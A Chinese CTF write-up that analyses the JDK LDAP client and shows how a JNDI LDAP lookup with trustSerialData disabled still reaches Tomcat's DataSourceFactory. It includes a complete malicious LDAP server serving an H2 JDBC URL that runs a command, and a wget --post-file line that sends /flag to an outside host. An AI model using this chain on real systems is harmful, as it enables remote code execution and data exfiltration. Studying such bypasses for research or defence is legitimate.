文章首发于先知社区,传送门

TL;DR

京麟CTF这次的题非常符合我的胃口,0解的activemq是个nday不出网的利用场景,很realworld但是似乎支撑不了一个文章,之前了解过那个利用类的话那么换个场景很快就能找到解决方案,不知道的话你就花时间坐牢去找吧。

相比于activemq,我对ezldap更感兴趣。这道题主要是考察了在truestSerialData关闭的场景下通过jndi:ldap协议打本地工厂类的绕过,在之前我根本不知道高jdk版本下的jndi:ldap利用可以打本地工厂类,属实是学到了。

这篇文章在先知的标题叫ezldap题解,但实际上本文大部分都是在分析ldap客户端的解析逻辑,于是这里就换个标题。之前都是rmi打本地工厂类绕过,ldap打本地gadget。这下竟然反过来了,rmi可以打反序列化,而ldap反倒可以打本地工厂类。

分析

开局给了个actuator未授权访问。

http://116.198.74.135:31157/actuator

真正有用的应该是下面四个端点:

/actuator/env
/actuator/heapdump
/actuator/configprops
/actuator/mappings

最有用的还是heapdump,通过MAT简单分析可知目标版本是jdk17

5e7dc27eae79ee5d160d4ae17aeaf1f

通过heapdump_tool筛选用到的依赖。

byte-buddy-1.12.23.jar
antlr-2.7.7.jar
h2-2.1.214.jar
classmate-1.5.1.jar
jackson-core-2.13.5.jar
jul-to-slf4j-1.7.36.jar
micrometer-core-1.9.17.jar
hibernate-commons-annotations-5.1.2.Final.jar
jakarta.annotation-api-1.3.5.jar
tomcat-jdbc-9.0.83.jar
jaxb-runtime-2.3.9.jar
jandex-2.4.2.Final.jar
tomcat-embed-core-9.0.83.jar
jackson-datatype-jsr310-2.13.5.jar
spring-boot-actuator-2.7.18.jar
logback-classic-1.2.12.jar
spring-boot-actuator-autoconfigure-2.7.18.jar
LatencyUtils-2.0.3.jar
hibernate-core-5.6.15.Final.jar
jakarta.activation-1.2.2.jar
HdrHistogram-2.1.12.jar
txw2-2.3.9.jar
aspectjweaver-1.9.7.jar
spring-expression-5.3.31.jar
jakarta.activation-api-1.2.2.jar
spring-jdbc-5.3.31.jar
jackson-datatype-jdk8-2.13.5.jar
jakarta.persistence-api-2.2.3.jar
tomcat-juli-9.0.83.jar
log4j-to-slf4j-2.17.2.jar
jackson-annotations-2.13.5.jar
slf4j-api-1.7.36.jar
jackson-databind-2.13.5.jar
snakeyaml-1.30.jar
jboss-logging-3.4.3.Final.jar
spring-boot-jarmode-layertools-2.7.18.jar
spring-beans-5.3.31.jar
jackson-module-parameter-names-2.13.5.jar
tomcat-embed-el-9.0.83.jar
jakarta.transaction-api-1.3.3.jar
istack-commons-runtime-3.0.12.jar
jakarta.xml.bind-api-2.3.3.jar

看到有tomcat-jdbc-9.0.83.jar以及h2-2.1.214.jar就应该能猜到这题大概率是要打h2 jdbc RCE了。

而通过分析/actuator/mappings可知有两个路由:

/source_tr15d0
/lookup

访问/source_tr15d0拿到lookup源码。

@GetMapping("/lookup") public String lookup(String path) { 
    try { 
        String url = "ldap://" + path; 
        InitialContext initialContext = new InitialContext(); 
        initialContext.lookup(url); 
        return "ok"; 
        }catch (NamingException e){ 
            return "failed"; 
        } 
}

限制了只能ldap注入。而分析actuator/env可知设置了truestSerialDatafalse,这点后面分析会讲。

1716782395965

测试环境搭建

主要就是要有个tomcat-jdbch2

1716782963736

jdk设置为17.0.8,版本差不多就行。

然后还要设置com.sun.jndi.ldap.object.trustSerialDatafalse

import javax.naming.InitialContext;
//import com.sun.jndi.ldap.Obj;
import org.h2.Driver;
public class Test {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false");
        InitialContext initialContext = new InitialContext();
        String path  = "127.0.0.1:1389/Tom";
        String url = "ldap://" + path;
        initialContext.lookup(url);
    }
}

server的话就先用JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar看看到底什么情况。

解题+调试

客户端中的path设置成yourvpsip:1389/deserialURLDNS,开调!

前面的协议解析不用细看,没什么可利用的。定位到com.sun.jndi.ldap.LdapCtx#c_lookup

这里同时通过doSearchOnce(name, "(objectClass=*)", cons, true);拿到ldapserver的信息。

1716784305902

从上图看到,比较重要的就是answer里面有LdapEntry,其中最重要的就是attrs中的javaserializeddata,因为我用的是deserialURLDNS测试,所以ldapserver中会往javaserializeddata塞进反序列化数据。

1716784512059

而后面的逻辑就是解析拿到attrs

1716784736264

后面满足if (attrs.get(Obj.*JAVA_ATTRIBUTES*[Obj.*CLASSNAME*]) != null)才会执行decodeObject方法。Obj.*JAVA_ATTRIBUTES*[Obj.*CLASSNAME*]javaClassName

1716784996191

也就是说只要服务端塞了javaClassName就能走正常流程。

跟进decodeObjectattrsjavaSerializedData则会走deserializeObject,这也就是最常见的通过ldap打反序列化的路径。

image-20240527124528086

但是在这之前会通过VersionHelper.*isSerialDataAllowed*()进行校验。直接抛出异常。

1716785235961

isSerialDataAllowed直接返回trustSerialData

public static boolean isSerialDataAllowed() {
    return trustSerialData;
}

而在static段中看到jdk17默认com.sun.jndi.ldap.object.trustSerialDatatrue,而由于这道题设置了trustSerialDatafalse,所以此条反序列化不通。

1716785314234

多提一嘴,在jdk20+版本中com.sun.jndi.ldap.object.trustSerialData默认为false

最终报错:

1716785452107

反序列化这条路走不通,再看看其它的路。

JAVA_ATTRIBUTES[REMOTE_LOC]javaRemoteLocation

else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
                // For backward compatibility only
                return decodeRmiObject(
                    (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                    (String)attr.get(), codebases);
            }

如果attrsjavaRemoteLocation会调用decodeRmiObject

而这个方法只给Reference塞进去javaClassNamejavaRemoteLocation。我们的目的是打本地工厂类,最起码需要塞进去javaFactory这个属性,所以这条路(大概肯定)没法利用。

    private static Object decodeRmiObject(String className,
        String rmiName, String[] codebases) throws NamingException {
            return new Reference(className, new StringRefAddr("URL", rmiName));
    }

除此之外, 下面还有一条路会调用到*decodeReference*方法,*JAVA_ATTRIBUTES*[*OBJECT_CLASS*]objectClass

1716785969458

如果满足attrs["objectClass"]==JAVA_OBJECT_CLASSES[REF_OBJECT],即attrs["objectClass"]=="javaNamingReference"则会进入decodeReference方法,这个方法逻辑写的有一大坨不太好直接看懂,所以先调进去看看是什么处理逻辑。

改一下ldapserver,塞进去一个objectClass

1716786479682

启动开调:

1716787255939

成功进入decodeReference

1716787565949

可以看到会new Reference(className, factory, (codebases != null? codebases[0] : null));实例化带工厂类以及类名的Reference

1716787637768

服务端这么写,因为远程有tomcat-jdbc直接打org.apache.tomcat.jdbc.pool.DataSourceFactory

1716787741570

重新编译运行,直接定位到c_lookup最后的DirectoryManager.*getObjectInstance*方法。obj果然是个reference

image-20240527133154914

成功实例化factory

1716788122413

最终走到DataSourceFactory进而触发jdbc连接,但properties是空的,所以打不了。

1716788180452

properties是从reference中拿来的。

for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
    String propertyName = ALL_PROPERTIES[i];
    RefAddr ra = ref.get(propertyName);
    if (ra != null) {
        String propertyValue = ra.getContent().toString();
        properties.setProperty(propertyName, propertyValue);
    }
}

所以还是要看decodeReference那一坨逻辑。

回到decodeReference,在得到reference之后,会处理javaRerenceAddress

1716788404308

这个if处理逻辑非常长,直接看最后的处理了解他是干啥的。发现是这个if就是把refAddrList的元素放进ref中,所以通过这里就能满足上述jdbc攻击需要的properties

1716788496520

接着看if逻辑,这里会拿attr,并通过val = (String)vals.next();遍历。所以我们需要在ldapserverjavaReferenceAddress赋值成new String[]{}数组的形式从而遍历element

1716788722886

这里是取第一个字符作为全局分隔符,posnStr就是第一个分隔符到第二个分隔符之间的字符,其实这个posnStr就是索引。比如填/0/url/jdbc:xxx,那么posnStr就是0

1716788834999

之后取type,这里就是url

1716789141219

最后通过setElementAt设置索引,然后给refAddrList赋值。

1716789197118

最后把refAddrList复制到ref中。

1716789327933

后面就是打h2jdbc了,java15之后没有nashorn,所以通过javac执行代码。

exp

综上分析,最终ldapserver应该写成如下形式(分隔符选个自己喜欢的/):

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.Properties;

public class Test {
    public static void main(String[] args) {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    1389,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("[LDAP] Listening on 0.0.0.0:1389");
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
            String base = searchResult.getRequest().getBaseDN();
            Entry e = new Entry(base);
            e.addAttribute("objectClass","javaNamingReference");
            
            e.addAttribute("javaClassName", "javax.sql.DataSource");
            e.addAttribute("javaFactory","org.apache.tomcat.jdbc.pool.DataSourceFactory");
            String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')";
            e.addAttribute("javaReferenceAddress",new String[]{"/0/url/"+JDBC_URL,"/1/driverClassName/org.h2.Driver","/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1"});


            try {
                searchResult.sendSearchEntry(e);
                searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    }
}

本地通:

image-20240527135959034

远程好像弹不出来shell?使用wget xxx:19002 --post-file=/flag外带得到flag

image-20240527140108917